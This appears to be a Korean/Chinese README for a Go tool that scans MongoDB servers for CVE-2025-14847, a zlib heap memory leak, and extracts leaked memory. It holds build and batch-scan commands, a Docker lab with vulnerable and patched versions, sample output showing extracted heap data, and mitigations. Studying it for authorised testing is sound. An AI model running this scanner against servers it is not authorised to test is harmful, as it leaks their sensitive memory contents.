
MongoDB 메모리 누수 취약점 (CVE-2025-14847) 탐지 도구
MongoDB 메모리 누수 취약점 (CVE-2025-14847) 탐지 도구
⚠️ 중요 알림: 이 도구는 승인된 보안 테스트 및 취약점 평가에만 사용하십시오. 승인되지 않은 사용은 법률 위반이 될 수 있습니다.
CVE-2025-14847은 MongoDB Zlib 압축 프로토콜 처리 과정에서 발생하는 심각한 메모리 누수 취약점입니다. 공격자는 악의적으로 구성된 압축 데이터 패킷을 전송하여 MongoDB가 초기화되지 않은 힙 메모리 데이터를 반환하도록 만들 수 있으며, 여기에는 민감한 정보가 포함될 수 있습니다.
| 버전 범위 | 상태 |
|---|---|
| 8.2.0 - 8.2.2 | ⚠️ 영향받음 |
| 8.0.0 - 8.0.16 | ⚠️ 영향받음 |
| 7.0.0 - 7.0.27 | ⚠️ 영향받음 |
| 6.0.0 - 6.0.26 | ⚠️ 영향받음 |
| 5.0.0 - 5.0.31 | ⚠️ 영향받음 |
| 4.4.0 - 4.4.29 | ⚠️ 영향받음 |
| 4.2.x 모든 버전 | ⚠️ 영향받음 |
| 4.0.x 모든 버전 | ⚠️ 영향받음 |
| 3.6.x 모든 버전 | ⚠️ 영향받음 |
# 克隆仓库
git clone https://github.com/onewinner/CVE-2025-14847.git
cd CVE-2025-14847
# 安装依赖
go mod download
# 编译
go build -o mongodb-scanner main.go
# 运行
./mongodb-scanner -t 127.0.0.1:27017
go run main.go -t 127.0.0.1:27017
시스템에 적합한 사전 컴파일 버전은 Releases 페이지에서 다운로드하십시오.
# 扫描单个目标
./mongodb-scanner -t 127.0.0.1:27017
# 从文件批量扫描
./mongodb-scanner -f targets.txt
# 批量扫描(20线程)
./mongodb-scanner -f targets.txt -c 20
# 扫描并保存存在漏洞的目标
./mongodb-scanner -f targets.txt -o vulnerable.txt
# 自定义偏移范围(更快速或更深度扫描)
./mongodb-scanner -t 127.0.0.1:27017 --min-offset 20 --max-offset 1000
targets.txt 파일을 생성합니다:
# MongoDB 目标列表
127.0.0.1:27017
192.168.1.100:27017
mongodb.example.com:27017
# 如果不指定端口,默认使用 27017
192.168.1.101
이 도구를 안전하게 테스트하려면 Docker를 사용하여 로컬 테스트 환경을 구축하는 것이 좋습니다.
# 启动 MongoDB 6.0.14 (受漏洞影响的版本) 并开启 Zlib 压缩
docker run -d \
--name mongodb-vulnerable \
-p 27017:27017 \
mongo:6.0.14 \
--networkMessageCompressors snappy,zlib
# 查看容器状态
docker ps
# 测试漏洞
./mongodb-scanner -t 127.0.0.1:27017
docker-compose.yml 파일을 생성합니다:
version: '3.8'
services:
# 受漏洞影响的版本(开启 Zlib)
mongodb-vulnerable:
image: mongo:6.0.14
container_name: mongodb-vulnerable
ports:
- "27017:27017"
command: mongod --networkMessageCompressors snappy,zlib
# 已修复的版本(用于对比测试)
mongodb-patched:
image: mongo:6.0.27
container_name: mongodb-patched
ports:
- "27018:27017"
command: mongod --networkMessageCompressors snappy,zlib
volumes:
mongodb-data:
mongodb-patched-data:
테스트 환경 시작:
# 启动所有容器
docker-compose up -d
# 测试受漏洞影响的版本
./mongodb-scanner -t 127.0.0.1:27017
# 测试已修复的版本
./mongodb-scanner -t 127.0.0.1:27018
# 停止并清理
docker-compose down -v
# 停止并删除容器
docker stop mongodb-vulnerable && docker rm mongodb-vulnerable
# 清理数据卷
docker volume prune -f
도구는 통일된 접두어를 사용하여 출력 정보를 표시합니다:
[*] - 정보 출력 (대상, 버전, 구성 등)[+] - 성공/취약점 존재/데이터 추출됨[-] - 실패/안전/취약점 없음[!] - 경고/중요 알림╔══════════════════════════════════════════════════════════════╗
║ MongoDB CVE-2025-14847 漏洞检测工具 ║
╚══════════════════════════════════════════════════════════════╝
⚠️ 仅用于授权安全测试 | 未经授权测试可能违法
[*] 目标: 1 | 线程: 10 | 超时: 2s | 偏移: 20-1000
[*] 开始扫描...
[*] 目标: 127.0.0.1:27017
[*] 版本: 6.0.14
[+] 漏洞版本: 是
[+] Zlib压缩: 已开启
[!] 漏洞可利用,开始提取内存...
[+] 偏移=229 长度=250: :00\"},\"s\":\"I\", \"c\":\"NETWORK\", \"id\":22944, \"ctx\":\"conn102932\",
[+] 127.0.0.1:27017 - 漏洞可利用 (v6.0.14) - 3468ms
[+] 成功提取 1 项内存数据:
[1] :00\"},\"s\":\"I\", \"c\":\"NETWORK\", \"id\":22944, \"ctx\":\"conn102932\",\"msg\":\"Connection ended\",\"attr\":{\"remote\":\"172.17.0.1:44936\"...
======================================================================
[*] 扫描完成 | 总数: 1 | 可利用: 1 | 安全: 0 | 耗时: 3.4s
======================================================================
[*] 目标: 127.0.0.1:27018
[*] 版本: 6.0.27
[-] 漏洞版本: 否
[-] 127.0.0.1:27018 - 版本安全 (v6.0.27) - 156ms
======================================================================
[*] 扫描完成 | 总数: 1 | 可利用: 0 | 安全: 1 | 耗时: 0.2s
======================================================================
[*] 目标: 127.0.0.1:27017
[*] 版本: 6.0.14
[+] 漏洞版本: 是
[-] Zlib压缩: 未开启
[-] 127.0.0.1:27017 - 未开启Zlib (v6.0.14) - 234ms
======================================================================
[*] 扫描完成 | 总数: 1 | 可利用: 0 | 安全: 1 | 耗时: 0.3s
======================================================================
[*] 目标: 5 | 线程: 10 | 超时: 2s | 偏移: 20-8192
[*] 开始扫描...
[+] 192.168.1.10:27017 - 漏洞可利用 (v6.0.14) - 3521ms
[+] 成功提取 2 项内存数据:
[1] Connection ended...
[2] network statistics...
[-] 192.168.1.11:27017 - 版本安全 (v6.0.27) - 145ms
[-] 192.168.1.12:27017 - 未开启Zlib (v6.0.14) - 198ms
[+] 192.168.1.13:27017 - 漏洞可利用 (v7.0.15) - 2987ms
[!] 192.168.1.14:27017 - 漏洞可利用但未提取到数据 (v6.0.20) - 4123ms
======================================================================
[*] 扫描完成 | 总数: 5 | 可利用: 3 | 安全: 2 | 耗时: 5.2s
======================================================================
[+] 可利用的目标已保存到: vulnerable.txt
이 도구는 3단계 탐지 메커니즘을 사용합니다:
buildInfo 명령)| 조건 | 결과 |
|---|---|
| 취약 버전 + Zlib 활성 + 데이터 추출됨 | ✅ 취약점 악용 가능 - 유출 데이터 표시 |
| 취약 버전 + Zlib 활성 + 데이터 미추출 | ⚠️ 취약점 악용 가능하지만 데이터 미추출 |
| 취약 버전 + Zlib 비활성 | ❌ Zlib 미활성 - 악용 불가 |
| 취약하지 않은 버전 | ✅ 버전 안전 |
다음 수정 버전 중 하나로 즉시 업그레이드하십시오:
단기간에 업그레이드할 수 없는 경우 다음 임시 조치를 적용할 수 있습니다:
mongod.conf 또는 mongos.conf에 다음과 같이 구성합니다:
net:
compression:
compressors: []
또는 시작 인자에서 zlib를 명시적으로 제외합니다:
mongod --networkMessageCompressors snappy,zstd
zlib 대신 snappy 또는 zstd 사용을 권장합니다:
net:
compression:
compressors: snappy,zstd
bindIp 구성을 사용--auth 인자)⚠️ 중요 알림: 임시 완화 조치는 위험을 줄일 수 있을 뿐 근본적인 해결책이 아닙니다. 가능한 한 빨리 수정된 버전으로 업그레이드할 것을 강력히 권장합니다.
중요 알림:
이 도구를 사용하면 다음 사항에 동의하는 것으로 간주됩니다:
이 프로젝트는 MIT License 오픈소스 라이선스를 사용합니다.
Issue와 Pull Request를 환영합니다!
git checkout -b feature/AmazingFeature)git commit -m 'Add some AmazingFeature')git push origin feature/AmazingFeature)onewinner - @onewinner
프로젝트 주소: https://github.com/onewinner/CVE-2025-14847
⭐ 이 프로젝트가 도움이 되셨다면 Star를 눌러주세요!
Made with ❤️ by Security Researchers
| 인자 | 설명 | 기본값 |
|---|
-t <target> | 단일 대상 (예: 127.0.0.1:27017) | - |
-f <file> | 대상 파일 (줄마다 하나의 대상) | - |
-c <num> | 동시 스레드 수 | 10 |
-timeout <time> | 연결 시간 초과 | 2s |
-o <file> | 출력 파일 (취약한 대상 저장) | - |
--min-offset <num> | 최소 문서 길이 오프셋 | 20 |
--max-offset <num> | 최대 문서 길이 오프셋 | 8192 |